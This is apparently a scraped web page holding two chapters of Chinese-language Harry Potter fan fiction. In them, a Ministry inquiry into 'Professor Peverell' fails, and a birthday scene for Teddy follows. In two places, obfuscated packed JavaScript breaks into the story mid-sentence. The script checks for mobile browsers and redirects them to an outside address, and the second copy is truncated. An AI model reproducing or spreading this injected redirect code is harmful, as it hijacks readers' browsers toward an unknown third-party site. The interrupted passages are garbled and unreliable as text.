“哦,看来我们找到答案了。”邓布利多愉快地说,仿佛发现了一枚掉在口袋里的金加隆,“‘D.A.’是‘决斗协会(DuelingAssociation)’。多么令人欣慰啊——学生们对这项古老传统的热情值得鼓励!” 乌姆里奇猛地站起身,“不可能!我们检查过那份名单,绝对没有这种标注!” 麦格教授从桌边的公文包中取出一份文件,“这是开学初张贴在各学院公告栏的通知,宣布恢复决斗项目传统,设立决斗俱乐部及协会,开展决斗比赛,至今仍在公告栏上未撤走。”她板着脸挥舞魔杖,将文件隔空送到福吉的面前,“与你们所谓‘证据’的格式完全一致,包括底部的注释。乌姆里奇女士显然对这些公告视而不见。” 小天狼星斜靠着椅背,双手交叠在脑后,“那么,乌姆里奇女士,请问你是基于什么认定‘D.A.’代表‘邓布利多军’的?这个缩写可以有多种解释,难道就不能是‘美味的苹果’(DeliciousApple),或者‘跳舞的盔甲’(DancingArmor)吗?”他嘲讽地轻笑了一声,又像突然想起什么似的,眼睛一亮,“说起来,‘D.A.’也可以代表‘多洛雷斯军’(Dolores''sArmy),正好高级调查官来到霍格沃兹展开调查,这不是更说得通吗?” 福吉慌乱地咳了好几声,而麦格教授的嘴角则出现了一丝转瞬即逝的弧度。 乌姆里奇的脸色由白转红,强挤出笑容,“我们有学生的直接证词。” “哪位学生?”詹姆斯的声音霎时转冷。 乌姆里奇的笑容僵在脸上,“泰迪·卢平,格兰芬多二年级的学生。”她顿了顿,意有所指地补充道,“他也是佩弗利尔教授的教子。卢平在和我的谈话中直接提到了‘邓布利多军’这个词。显然,这些信息只可能从他的教父那里得知。” 詹姆斯眼中一沉,手中的笔记被他捏紧了一瞬。“卢平?”他放下笔记,声音低得可怕,“一个十二岁的孩子?” 哈利心头一跳,泰迪的名字像一根针刺进他的胸膛。虽然他早有预感乌姆里奇会将泰迪牵扯进来,但真正听到那个名字从她嘴里吐出时,那种愤怒依然难以抑制。他紧握座椅扶手,强忍着冲上去揪住乌姆里奇衣领的冲动。 愤怒像火一样烧遍他的全身,可更让他心乱如麻的是詹姆斯的反应。那语气中的保护意味太过明显,仿佛听到卢平这个名字触动了某根敏感的神经。为什么?是因为他知道了泰迪是莱姆斯的儿子?哈利的呼吸急促起来,脑海中疑问翻涌,他迫切想知道答案,可又不敢深想,不敢让自己的希望膨胀太多。 会议开始后沉默至今的斯内普突然冷冷地开口,“我相信庞弗雷夫人的医疗报告也该呈上。卢平在乌姆里奇女士的‘审问’——姑且这么称呼——后昏迷不醒,被送往医疗翼。对于一个二年级学生。”他黑眼睛眯起,透出一抹危险的寒意,“这种手段获取的证词是否具有法律效力,我想巴格诺女士比我更有发言权。” 巴格诺女士严厉地盯着乌姆里奇,“魔法部教育法规第十七条明确规定,未成年巫师的询问必须在监护人或院长在场的情况下进行。乌姆里奇女士是否遵守了这项规定?” 乌姆里奇的手指紧扣桌面,挤出甜腻的笑容,“哦,巴格诺女士,当时情况紧急,我只是温和地询问了几句,完全是为了确保学校安全。您不会认为我会伤害一个孩子吧?” 詹姆斯冷笑一声,“即便抛开审问手段不说,一个十二岁孩子的话能有多大分量?未成年巫师的证词在这种情况下没有任何效力。” 乌姆里奇的笑容扭曲了一瞬,随即尖声道,“孩子的证词只是证据之一。我们还发现学生们运营的地下广播节目——‘八卦前哨站’也多次明确提及‘邓布利多军’。特别是在讨论这些神秘标记时。”她的声音重新回到令人不适的甜腻,“这不可能是巧合,那节目在霍格沃兹广为流传,显然是有组织的活动证据。” “即便如此,”巴蒂莫斯·伯克意外地开口,“一个广播节目上的闲谈很难构成什么证据。”他轻抚手杖上的渡鸦头饰,“年轻人总是喜欢哗众取宠的词语,我们都经历过那个年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156421|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纪。” 乌姆里奇震惊地看向他,又立即转向卢修斯,眼中充满出卖的愤怒。两周前,正是卢修斯在魔法部与她和福吉交谈甚欢,推动了这次调查。校董会本应支持她的调查,尤其是卢修斯·马尔福应该是最积极的助力。可如今他坐在那里,沉默不语,任由他的盟友为邓布利多的阵营开脱——巨怪才信他没对伯克说过什么。 “八卦前哨站,对吗?”小天狼星笑着问,“我听说那个节目在学校里十分流行。梅林知道,我们当学生时也爱这些消遣。” 卢修斯轻敲手杖,眼皮也没抬一下,只是微微点头表示赞同。 赫克托·弗利突然活跃起来,“噢,我记得那个!我那个年代有个叫‘午夜巫师’的专栏。”他轻咳一声,“当然,那只是学生们的消遣,并无实质。” 福吉干咳了一声,“这……我们或许该考虑其他可能性——” “广播节目只是个障眼法!废弃教室中的防御魔法痕迹又如何解释?”乌姆里奇打断他,声音虽然依然甜美,但语速加快,右手在空中大幅度地划过,“戈尔!展示我们的发现!” 戈尔迟疑地站起身,挥动魔杖时手微微一颤,在半空中投影出数据,声音有些结巴,“我们确实检测到了大量防御咒语的痕迹,主要是障碍咒、缴械咒和盔甲护身,还有——” “完全符合中级决斗训练的标准。”斯内普的声音精准地切入,他指向投影中的一组数据,“根据您自己的报告,戈尔先生,那些魔法强度没有超出五年级学生的平均水平。更重要的是,教室周围设有警报咒,显然是防止低年级学生误入。” “我记得非常清楚,”弗立维教授兴奋地从座位上跳起来,几乎站在了椅子上,“佩弗利尔教授在开学第一周就提出了这个绝妙的构想!”他的声音尖细但充满热情,手指在空中画着图案,“我们一致同意将组织分为两个层次——低年级的‘俱乐部’和高年级的‘协会’。低年级的‘俱乐部’由教师指导基础决斗技巧,高年级的学生们则需要更多实践和自主性。当然,我们也考虑了灵活性。低年级学生若表现出色,可以申请加入‘协会’。”他眼睛闪闪发亮,“我在都灵决斗大赛上曾见过类似的组织模式,效果相当出色!” 隆巴顿夫人冷哼一声,“作为曾任教育顾问的长辈,我必须指出,决斗培训自霍格沃兹创立以来就是核心课程。若非魔法部近年的干预,它至今仍应是必修科目。”她锐利的目光刺向福吉,“年轻人对正当防御技能的热情何时成了威胁?除非魔法部认为学生自卫是一种威胁。” 福吉额头冒汗,连忙摇头,“奥古斯塔,你这话说得太严重了。魔法部从不反对适当的防御训练。” 巴格诺女士下了定论,“从法律角度,这些‘证据’——标记、名单、一个被不当审问的孩子的证词——不足以支持指控。” 福吉局促地拨弄着领结,“这……确实是个问题。”他长叹一口气,“关于‘D.A.’的调查显然需要重新评估,我们将责成另一个小组复查。” 詹姆斯意味深长地看向乌姆里奇,毫不客气地说,“关于未成年学生的不当审问,傲罗司会深入调查。那个孩子的安全理应得到保障。” 乌姆里奇的伪装终于出现裂痕。她的脸涨得通红,眼中的怒火越来越难以掩饰,手猛地拍向桌面,忽然站起身指向哈利,声音丧失了甜腻,变得尖锐刺耳,“你们似乎忘记了调查的重点!”她几乎是在高声喊叫,“佩弗利尔教授的身份疑云重重!他的履历经不起推敲,而且——”她深吸一口气,语调中带着狠毒的意味,“自从他到来,霍格沃兹发生了蛇怪袭击和石化事件,甚至有一名学生死亡!这难道只是巧合?” 詹姆斯的脸刹那间失去了所有血色,整个人仿佛被冻住,唯有胸口剧烈起伏。小天狼星的笑容早已消失,他霍然起身,椅子在地上刮出刺耳的声响,“你,”他瞪视着乌姆里奇,表情冷得可怕,“竟敢用这个——” 詹姆斯抬手按在小天狼星肩上,制止了他。他的动作看似冷静,但紧抿的嘴角泄露了他内心的情绪。两人对视了片刻,小天狼星缓慢坐回椅子,但眼中的怒火丝毫未减。 哈利感到一阵冰冷的愤怒。小哈利的死亡——他永远无法抹去的伤痕,此刻被乌姆里奇当作攻击的武器。讽刺的是,她毫不知情却正好戳中了最深的痛处,把真相和谎言搅在一起。哈利余光捕捉到詹姆斯突然绷紧的身体和小天狼星眼中压抑的怒火,那份无言的痛苦如有实质。他竭力保持表情平静,只是看着乌姆里奇,他现在要做的是冷静地回应、辩解,而不是让自己陷入那种令人窒息的内疚。 下一刻,邓布利多取下眼镜,慢条斯理地擦拭着镜片。整个礼堂因这个简单的动作而安静下来,所有人都等待着他的回应。他重新戴上眼镜,湛蓝的眼睛微微眯起,“我想,乌姆里奇女士,您刚才提出了一个针对佩弗利尔教授的极其严重的指控。或许我们应该暂停讨论‘D.A.’的问题,先听听您对这一指控的具体证据?” 84. 魔法部特别调查会(下) 多洛雷斯·乌姆里奇从未料到事情会发展至此。 二十年来,她在魔法部步步为营,用甜腻的语气掩盖着尖锐的意图。那些自以为是的巫师们一个接一个栽了跟头:有人因“无心之失”被调职,有人莫名失去了升职机会,还有人在午饭后发现报告没了踪影。而她只需坐在办公室里,端着茶杯,等待下一个猎物自投罗网。 直到今天。 面对校董会和傲罗司的双重压力,她第一次尝到了失控的滋味。连卢修斯·马尔福都保持沉默,任由局势向对她不利的方向发展。乌姆里奇眯起眼睛,心中盘算着对策。如果“邓布利多军”这条路行不通,她还有另一张牌——佩弗利尔那来路不明的身份。 “佩弗利尔教授的背景很是可疑。”乌姆里奇很快换了副语气,恢复了那种令人不适的甜腻口吻,“一个毫无履历可查的陌生人,居然这么快就赢得了邓布利多的信任和支持。” 她短暂停顿,目光在邓布利多和哈利之间游移,嘴角挂着意味深长的笑容,“这种不寻常的偏爱和特殊待遇,难道不该让我们想想……这里头有什么特别的关系吗?” 巴恩斯翻开文件夹,接下话头,“调查组核查了佩弗利尔教授的履历,发现多处关键信息缺失。他没有任何英国或欧洲魔法学校的就读记录,没有魔法部登记的居住历史,连最基本的O.W.L.s与N.E.W.T.s成绩单都无从查证。” 她抽出魔杖,点向空中。几份文件的图像随即出现在礼堂半空,放大到所有人都能看清,每份都清晰地盖着“无记录”的红色印章。“英国魔法教育档案——‘查无此人’;欧洲巫师资格认证中心——‘无此人记录’;国际巫师联合会人才库——‘未收录’。我们还向德姆斯特朗和布斯巴顿求证过,他们也没有哈利·佩弗利尔的求学记录。” 巴恩斯放下文件,直视哈利,“最令人困惑的是,在来到霍格沃兹之前,魔法界似乎从未听说过‘哈利·佩弗利尔’这个名字。一个黑魔法防御术教师,却没有任何相关经历或成就——这个人仿佛凭空出现。” 校董们纷纷注视着半空中那些醒目的“无记录”标记,目光不时转向坐在教师席末端的哈利。哈利刚要站起身,伯克突然用手杖轻叩地面,打断了他的动作。 这个阴郁的男人倾身向前,深陷的眼窝中隐藏着算计的神色。他的目光先是打量着哈利,又转向詹姆斯。“既然讨论到身份问题,”他慢悠悠地说道,唇边浮现一抹冷笑,“也许有人能解释一下眼前这个有趣的巧合?” “当波特司长走进礼堂时,我差点认为自己产生了幻觉。”伯克拖长声调,“有那么一瞬间,我以为是佩弗利尔教授穿上了傲罗制服。” 他故意停了一下,让这句话在空气中发酵。四下顿时响起低语声,校董们的视线左右摆动,在两人之间对比着,微微点头或皱眉,显然都注意到了那份无法忽视的相似。 “那头黑发,那张轮廓分明的脸,甚至是——”伯克顿了顿,嘴角挂着假笑,“站着的模样。要说这是巧合,实在有点牵强。”他又加了一句,“我甚至不会奇怪他们是兄弟关系。” 哈利感到心跳加速,掌心开始冒汗。这种情况其实他早有预料——自从来到这个时空,他就明白自己和詹姆斯那么相像的长相,总有一天会惹人注意。在他十一岁那年,每个认识他父亲的人都会告诉他“你长得像极了詹姆斯”。那时候,这种相似只换来友好的笑脸,可现在,却像一把悬在头顶的利刃。 他正准备正面回应,伯克却抢先开口了,“我明白了,看来我们这些外人还挺容易被糊弄的。”他嘴角挂着意味深长的笑容,转向福吉,“波特家族的血缘关系再复杂,也掩不住这种惊人的相似。如果这位年轻的教授真是波特家族的人,那履历上的空白倒也可以理解,难道不是吗?” 乌姆里奇敏锐地抓住了这个意外转机,声音突然高亢起来,“我相信这不是巧合,而是有人故意安排的。波特司长偏偏挑这个时候出现在调查会上,难道不值得我们怀疑其中的动机吗?” 詹姆斯缓慢起身,整个礼堂随着他的动作安静下来。他的目光直视前方,脸上冷得吓人,可哈利瞥见他双手在桌面上攥成了拳头。 “我与佩弗利尔教授没有任何家族关系。”詹姆斯一字一句地说,“今天我到场,只是为了履行傲罗司的职责,保证调查公正进行。”他停了一瞬,目光转向哈利,“至于佩弗利尔教授的身份和背景,还是该让他自己来解释。” 每个字都像一把冰冷的刀,直刺哈利的心口。他知道詹姆斯别无选择,也清楚这种公开否认眼下合情合理,可心里的痛还是止不住地蔓延开来。他低头摆弄手边的文件,不敢再朝詹姆斯那边多看一眼。 小天狼星像是察觉了哈利的反应,椅子轻轻往前挪了挪,眼神犀利地盯着伯克,“要是照着长相相似来怀疑,那恐怕半个魔法部都要被查出点什么不正当的关系了。”他朝福吉点了点头,语气轻松,“部长,您跟我姨父的鼻子简直是一个模子刻出来的,这难道也是什么阴谋?” 几位校董忍俊不禁,礼堂里的紧张气氛稍稍松了下来。 隆巴顿夫人敲了敲桌面,声音中充满威严,“波特家族过去分支不少。如果非要追究每个长得像的巫师是否有血缘关系,我们恐怕永远开不完这个会议。”她目光严厉地扫过伯克,“请回到正题。佩弗利尔教授的能力与经历,才是我们该关注的重点。” 邓布利多轻轻点了点头,转向哈利,目光中透出几分鼓励,“佩弗利尔教授,请向各位展示你的履历。” 哈利坐在原位,知道自己得为自己辩护,得反驳那些毫无根据的指控,可詹姆斯的回避和他来这里的原因塞满了他的心思。他发现自己完全没法集中精神,詹姆斯的存在像一股沉重的压力,扰乱了他对周围的一切感知。他张了张嘴,却没发出声音。 一秒钟的沉默像是拉长成了永远。哈利瞥见乌姆里奇眼中掠过一抹得意,显然看出了他的迟疑。就在这时,教师席上传来一声低沉的咳嗽,紧接着又是一声,再一声,每声都比前一声响些。 哈利脑子里的混乱被这动静打散了。他下意识地望过去,看见斯内普用手帕掩着嘴,黑眼睛却直勾勾地盯着他。 “你没事吧,西弗勒斯?”旁边的斯普劳特教授关切地问道,“我刚培育了几株清肺草,要是你需要做咳嗽药水——” “不劳关心,波莫娜。我比一瓶刚调好的活力药剂还要精神。”斯内普冷冷地回道,收起手帕。他的目光依然锁定在哈利身上,黑眼睛中的警告再明显不过:“别让情绪主导你,波特。” 哈利眨了眨眼,这一声咳嗽如同一道清醒咒,让他终于回过神来。他深吸一口气,站起身,感到心情莫名地平静下来。“感谢邓布利多校长给我这个机会。”哈利微微一笑,“关于我的背景,有些事情需要澄清。我的家族历来隐世,选择远离外界的关注。小时候,我是在家中接受教育的,没上过正规的魔法学校。” 他环视一周,注意到几位校董流露出理解的神色——纯血家族自行教育后代不算稀奇。 “我常年居住在东欧,十几岁时进入比尔斯基魔法学院学习。这些记录可以在波兰魔法部档案司查询到。那所学校不大,专研究些少见的咒语,可惜由于经费问题,它在两年前关闭了。” “从学院毕业后,我跟随瓦西里·科瓦尔斯基大师研习防御魔法。瓦西里大师极度避世,几乎不与外界通信,这解释了为何魔法部难以联系到他。” 说完,哈利取出准备好的履历文件,用魔杖轻点,文件内容被投影到半空中——学习经历、成绩单,以及与瓦西里的学习关系证明。 邓布利多先开了口,“我之前跟魔法部解释过,哈利·佩弗利尔出身一个古老而隐秘的巫师家族。历史上,许多纯血家族选择远离公众记录,这并非什么怪事。” 他从长袍内取出一封泛黄的信,加入到投影中:“这是波兰魔法大师瓦西里·科瓦尔斯基写给我的推荐信,里头详细记录了哈利在东欧的经历,尤其是在防御术和对付危险魔法生物应对方面的专长。瓦西里与我相识多年,他的推荐对我而言足具分量。” “至于为什么没要求佩弗利尔教授提供更多跨国履历验证——”邓布利多轻轻推了推半月形眼镜,“熟悉魔法部程序的人都知道,这类手续通常需要三到六个月,有时甚至更久。考虑到教学工作的紧迫性——毕竟,霍格沃兹的黑魔法防御术教师一职长期空缺,甚至很难找到合适的候选人。经过我的评估,当时没有比佩弗利尔教授更好的人选,因此我行使了校长的裁量权。” 巴格诺女士凑近仔细检查文件,眉头逐渐舒展。“这些文件看起来相当完整,”她转向邓布利多,“瓦西里的签名很有特点,我以前在欧洲魔法协会的文档上见过。” “确实如此,”邓布利多温和地接过话题,“我与瓦西里是多年的老朋友。当他推荐哈利来担任这个职位时,我立刻认为这是个绝佳的选择。他在东欧的防御术研究很有些名气,尤其擅长对付黑魔法生物。” 乌姆里奇紧盯着哈利,语气尖锐地追问,“你为何选择霍格沃兹?为何偏偏是现在?” 哈利淡定地回道,“我一直想来英国开始新的生活,也希望为我的教子找到一所好的学校。毕竟,他到了入学的年龄,我认为他需要接受正规的魔法教育,并结交一些同龄的朋友。霍格沃兹是世界上最顶尖的魔法学校之一,当我得知黑魔法防御术教职空缺时,立即提出了申请。至于时机,”他看了眼詹姆斯,“有时候,人生的转折就是如此出人意料。” 小天狼星在一旁轻声对詹姆斯说,“这话说得真好,不是吗?” 詹姆斯双臂交叉抱在胸前,目光投向大厅远处的某个角落,面无表情。他微微后靠,整个身体姿态传达出一种刻意的疏离,仿佛对整场讨论漠不关心。 “那么,关于蛇怪事件。”乌姆里奇不依不饶地追问,“既然您经验如此丰富,为什么没有更早发现密室的存在?” “密室的传说已经流传了数个世纪,乌姆里奇女士,”哈利平静地回答,“萨拉查·斯莱特林的魔法远比我们想象的要复杂。根据调查,那只蛇怪是由于古老魔法的减弱而意外释放的,并非人为所致。我与斯内普教授合力对抗并最终击败了它,但遗憾的是,仍有学生在事件中……”他的声音短暂地低沉下来,“每一位学生的安全都是我最关心的事。” “佩弗利尔教授的表现无可指责。”斯内普突然开口,“作为事件的亲历者,我可以证明他毫不犹豫地把自己置于危险中,保护学生安全。若非他的专业能力和冷静应对,伤亡可能会更为严重。” “事实上,”麦格教授接着说道,她挥动魔杖,一系列成绩单在空中展开,“佩弗利尔教授执教以来,黑魔法防御术科目的整体表现令人瞩目。获得‘优秀’(O)和‘超出预期’(E)等级的学生比例已达到近五年来的最高水平。学生们对防御咒语的实际应用能力尤其出色。” 乌姆里奇的表情变得越发难看,她正要反驳,斯内普却再次开口。他鄙夷地看了乌姆里奇一眼,魔杖在空中划出一道弧线,从哈利的文件堆中抽出几张羊皮纸,让它们在空中展开。 “如果乌姆里奇女士对教学评价这么感兴趣——”他拖长声调,声音中满是嘲讽,“也许她会想看看学生们的真实意见。” 羊皮纸上是一份长长的学生签名清单,标题为“支持哈利·佩弗利尔教授留任霍格沃兹”。签名几乎涵盖了所有年级的绝大多数学生,包括来自四个学院的级长。 卢修斯·马尔福坐直了身体,目光停在签名表上一个熟悉的名字上。“德拉科?”他轻声自语,认出了自己儿子的签名。他的神情微变,“显然我的儿子德拉科也对佩弗利尔教授的课程评价颇高。我认为,魔法部的关注点应该放在更迫切的问题上,而不是对一位教学卓有成效的教授进行无端指控。” 乌姆里奇看上去像是被人打了一巴掌,难以置信地望着卢修斯。 “根据我孙子的描述,”隆巴顿夫人开口道,目光落在纳威·隆巴顿的签名处,“佩弗利尔教授的防御术教学极为出色。学生们在他的指导下掌握的实用技能,恰好让他们在蛇怪事件中有能力自保。相比之下——”她的目光扫过乌姆里奇,“我更关心魔法部派来的调查组是否具备足够的资质评判一位专业教师。” 巴格诺女士用魔杖轻点空中的文件,让它们恢复原状,语气果断,“除了对履历的模糊质疑,这里没有任何实质性的负面证据。教学评价全部优秀,学生反馈极为正面,在危机中表现出色。从法律角度看,魔法部没有足够理由干涉霍格沃兹的教师任命。” 乌姆里奇的脸色先是苍白,随后迅速涨红,她双手绞在一起,因为过于用力而微微颤抖。 “但那个孩子——”她的声音颤抖着,“波特家的孩子——” 詹姆斯的目光从远处收回,眉头微皱。 他蓦地站起身,礼堂内的交谈声立刻消失,所有目光集中到他身上。 “作为傲罗司司长,”詹姆斯的声音平稳而有力,“我必须指出几个事实。” 他环顾四周,目光扫过在场的每一个人,唯独避开了哈利。 “首先,关于所谓‘邓布利多军’的指控,乌姆里奇女士和巴恩斯女士提供的证据在法律上站不住脚。”詹姆斯说道,“如果霍格沃兹真存在秘密军事训练,傲罗办公室的魔法监测网络早就会探测到异常魔力波动。我们没有接收到任何这样的警报。” 乌姆里奇脸色愈发阴沉,“波特司长,您似乎忘了我们在这里的目的是保护学生安全。” “正是因为重视安全。”詹姆斯继续道,“我要指出,关于蛇怪事件,从专业角度看,佩弗利尔教授的应对完全符合傲罗标准防御原则。他的行动挽救了学生的生命,这一点无可争议。” 福吉不安地挪动身子,额头渗出细密的汗珠。 詹姆斯的双手按在桌面上,微微前倾,声音低沉而有力,“最后,我必须申明,利用学校近期的悲剧作为政治攻击的借口,是对所有受影响家庭的再度伤害。” 他说完这句话,重新坐回座位,留下一片沉默。 福吉快把领结扯下来了,他向左右两边看了看,只见校董会成员大多露出赞同的神情,而乌姆里奇则把嘴唇抿得几乎看不见了。 “我想,”福吉清了清嗓子,声音高了几分,“既然证据不足,也许我们该结束这场调查。霍格沃兹的教师任命权一向在校长手中,魔法部无意干预……” “这太荒谬了!”乌姆里奇打断他,甜腻的嗓音转为尖厉,“福吉部长,我们不能仅凭几份签名和一些冠冕堂皇的说辞就放弃调查。这里存在明显的安全隐患和可疑行为,您确定要在调查还未完全结束时就下结论吗?” 福吉的眼神有些动摇。 邓布利多缓缓起身,蓝眼睛透过半月形眼镜扫视全场,“恐怕我必须提醒各位,校董会章程第九条明确规定,教师评估需有确凿证据支持。鉴于今天的讨论已经充分证明指控缺乏实质依据,我建议结束这场会议。”他向校董会成员点头致意,“除非校董会另有决议?” 校董席间响起低沉的讨论声。巴格诺女士迅速在羊皮纸上写下几行文字,推至隆巴顿夫人面前。隆巴顿夫人阅后简短点头,目光随即投向马尔福。弗利紧张地舔了舔嘴唇,而伯克则倾身靠近马尔福,几句耳语后便重新坐直。一阵短暂的沉默后,各位校董似乎达成了某种共识。 卢修斯·马尔福站起身,轻叩手杖,“我代表校董会声明,我们对佩弗利尔教授的教学水平和处理危机的能力表示满意。学生的安全是我们的首要考虑,而眼下的证据表明,他恰恰是保障这种安全的可靠人选。” 巴格诺女士也站起来点头附和,“校董会一致认为,关于‘D.A.’标记和佩弗利尔教授的调查均应终止。我们期待魔法部高级调查官及其团队尽快离开霍格沃兹,让学校恢复正常教学秩序。” 隆巴顿夫人抬手轻整帽檐,语气略带不耐,“说得对。与其将时间耗费在毫无根据的指控上,不如让教授们专心教学,学生们专注学业。” 投票一致通过,甚至连赫克托·弗利都没有犹豫地举起了手。 福吉脸上的汗珠更多了,嘴唇一张一合几次才找回声音,试图找回自己的权威,“考虑到各方面的陈述和证据,”他最终说道,“我宣布魔法部特别调查会到此结束。佩弗利尔教授可以继续留任霍格沃兹的黑魔法防御术教授。” 乌姆里奇骤然起身,声音尖厉,“部长!这完全不合理!我们还没有——” “多洛雷斯,”福吉打断她,“校董会的立场明确,傲罗司的评估清晰。继续这项调查只会浪费魔法部资源。” 乌姆里奇脸上的神情仿佛吞下了一整瓶臭鼬汁。她又惊又怒的视线在众人间来回扫视,最后落在福吉身上,眼里满是被背叛的控诉。 福吉宣布调查会结束,人们开始陆续离开礼堂。乌姆里奇像一尊石像般僵在原地,直到巴恩斯轻轻拉了拉她的袖子,她才机械地收拾文件。每一个动作都流露出难以言喻的屈辱。 哈利松了口气,紧绷的神经总算放松了点。他偷偷瞄了詹姆斯一眼,却发现他和小天狼星没走,正站在角落小声聊着什么。 “令人满意的结果。”邓布利多走到哈利身边,声音轻柔,“比我预想的要彻底得多。乌姆里奇女士短期内不会再有骚扰学校的机会了。” “谢了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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哈利轻轻关上门,将家养小精灵刚送来的蛋糕放在桌上。下午,罗恩、赫敏带着一群格兰芬多的同学已经热热闹闹地给泰迪过了12岁生日,欢笑声、游戏和祝福充满了整个公共休息室。哈利数出七支蜡烛,开始小心地插在蛋糕上,准备给泰迪庆祝7岁的生日——他想给这个孩子一个属于真实年龄的时刻,即使只有寥寥数人知道。 办公室里飘着巧克力蛋糕的香气。泰迪坐在哈利对面的椅子上,双腿晃来晃去,手里抱着哈利刚送的魁地奇战术笔记本,魔法羽毛笔自动在纸上勾勒出飞贼的轨迹。 “这可太棒了,哈利!”泰迪翻阅着笔记本内页的魁地奇球场简图和战术模板,头发泛着金光,眼睛发亮,“我得把伍德讲的那些阵型都记下来!希望比赛时我别紧张得忘光。” “我上学时可没有这种好东西。”哈利笑道,“你可得飞得比我更好才行。” 泰迪突然不晃腿了,他垂下眼,手指停在封面的格兰芬多狮子图案上。“我飞得不算太好。”他迟疑道,接着声音更小了,“不像……他,飞得那么自然。” 哈利手里的蜡烛歪了一下。他抬眼看向泰迪,注意到男孩的头发暗淡了些,金色褪去了几分。泰迪没说出那个名字,但哈利心里明白他指的是谁——那个本该站在球场上的找球手。 “别说傻话。”坐在书架旁的斯内普开口,“你的飞行水平对二年级学生而言相当不错。”这句话从他口中说出,几乎堪称赞美之词。 泰迪抬头冲斯内普笑了笑,虽然没说话,但头发明显亮了几分。 “小家伙,控制好你的羽毛笔,墨水都要溅到我身上了!”桌边传来一个尖锐的声音。西比站在一只咖啡杯旁,交叉着双臂。 “西比,今天是泰迪的生日,”哈利说,“还有他入选格兰芬多队找球手的庆祝。” 西比鄙夷地看着蛋糕,哼了一声。“我当然知道今天是什么日子,不然你以为我会费劲熬这个?”他指了指咖啡杯中泛着微光的紫色液体。 泰迪滑下椅子,好奇地凑近杯子:“这是什么?” “‘猎手瞬时’魔药,我的独创配方。”西比挺直身子,黑袍一摆,“能在关键时刻让时间感知变慢,反应速度提升三倍。专为你那可悲的找球手技巧准备的。既然你莫名其妙地进了球队,想必你的飞行能力还不至于完全无可救药。” 斯内普走过来,居高临下地审视咖啡杯中的魔药,一边眉毛高高扬起,“在咖啡杯中熬制魔药?恕我孤陋寡闻,从未听说过这种荒谬的做法。”他转向泰迪,“卢平,如果你决定饮用这种可疑物质,我只能说,它不仅毫无效用,还会导致你被取消比赛资格。魁地奇比赛明确禁止使用增强型魔药。” 西比瞪大了眼睛。“禁止使用魔药?这太荒谬了!”他挥舞着小手,显得既震惊又愤怒,“我花了整整三天调配这个配方!” 哈利忍不住笑了。“在我六年级的时候,罗恩当上了守门员。他在比赛前紧张得要命,我假装在他的南瓜汁里加了福灵剂,赫敏还差点炸毛。结果他觉得一切顺利发挥得特别好——有时候自信比魔药更有效。” 泰迪眼睛亮了起来,“这招真厉害!”他兴奋地说,“罗恩当时一定飞得很棒吧?” 斯内普低头瞥了眼气鼓鼓的西比,从鼻子中发出一声嗤笑。“也许我该感谢你,提醒了我为何从不允许学生在课堂外尝试药剂配方。” “显然你只是嫉妒。”西比神情愤慨地瞪着他,又对泰迪说,“我向你保证,这比某些人的毒药教学要安全得多。” 泰迪挠了挠头,“那我练习飞行时喝一点应该没事吧?” 哈利揉了揉太阳穴。“行了,都别说了。我当时到底是脑子进了多少水,才会弄出第二个斯内普?一个就已经足够令人头疼了,现在得应付两个。” 斯内普脸色阴沉下来,“波特,我不需要被提醒这是你的‘杰作’。” 泰迪笑出声来,接过西比递来的袖珍瓶子,“谢谢,西比!”他伸手摸了摸小人偶的头。 “别碰我。”西比后退半步,但没真躲开,“比赛时记得别喝。” 斯内普递过一个刻着符文的银色吊坠,“别弄丢,卢平。不过也别指望它能挡下一切。” 泰迪接过吊坠,它在他掌心闪过一道微光——那是一个护身符。他惊喜地抬头看向斯内普,头发瞬间变得更金了。“谢谢,西弗!” 哈利插上最后一根蜡烛,笑着对教子说,“泰迪,准备好许愿了吗?” 泰迪摆弄着吊坠,突然问道,“昨天……小天狼星和波特先生来帮你了,对吧?” 哈利刚举起魔杖准备点燃蜡烛,动作凝固了。他抬头看向泰迪。斯内普眉头一皱,但没说话。西比也停下了对羽毛笔的摆弄,黑眼睛紧盯着泰迪。 “是的,他们来了。”哈利尽量让语气平稳,“帮了我很大忙。” 泰迪咬了咬下唇,“小天狼星在门口看到我,还特意过来拍了拍我的肩膀,说让我放心。”他抬头,目光直直撞进哈利眼里,“我感觉到了……一股很温暖的东西。然后我看到了一只银光大狗,就在他肩膀后面。” 哈利心跳漏了一拍,脑海中闪过小天狼星的守护神——那只与他阿尼马格斯形态一模一样的大狗。他瞥了眼斯内普,发现对方眼神锐利地盯着泰迪,显然也明白发生了什么。 “泰迪……”哈利声音放软,“那是他的守护神。你又看到别人的灵魂了,对吗?” “他的灵魂太强烈了。”泰迪点头,神情困惑。“小天狼星之前让我有事找他。然后昨天他和波特先生就来了,还帮了你,我就在想……” 他顿了顿,小心翼翼地问道,“他们知道了,是不是?关于我们的事。” 房间安静下来。 “或许吧,泰迪。”哈利坦白道,喉咙有些干涩,“他们可能猜到了一些,但我不确定他们知道多少。”他俯身按住泰迪肩膀,“但不管怎样,我们一起面对,好吗?” 泰迪的浅褐色眼睛凝视着哈利。沉默了一会儿,他小声问,“如果他们知道了,会告诉我爸爸吗?” 这个问题刺痛了哈利。他太了解渴望父母的感受——曾经自己也在无数个夜晚幻想着父母还在。“如果有机会的话,”他轻声说,努力挤出一个微笑,“我会让一切变得更好。相信我。” 泰迪点点头,爬回椅子上,双腿又开始晃动。他拿起羽毛笔,在本子上画了个歪歪扭扭的狗头:“那就好。” 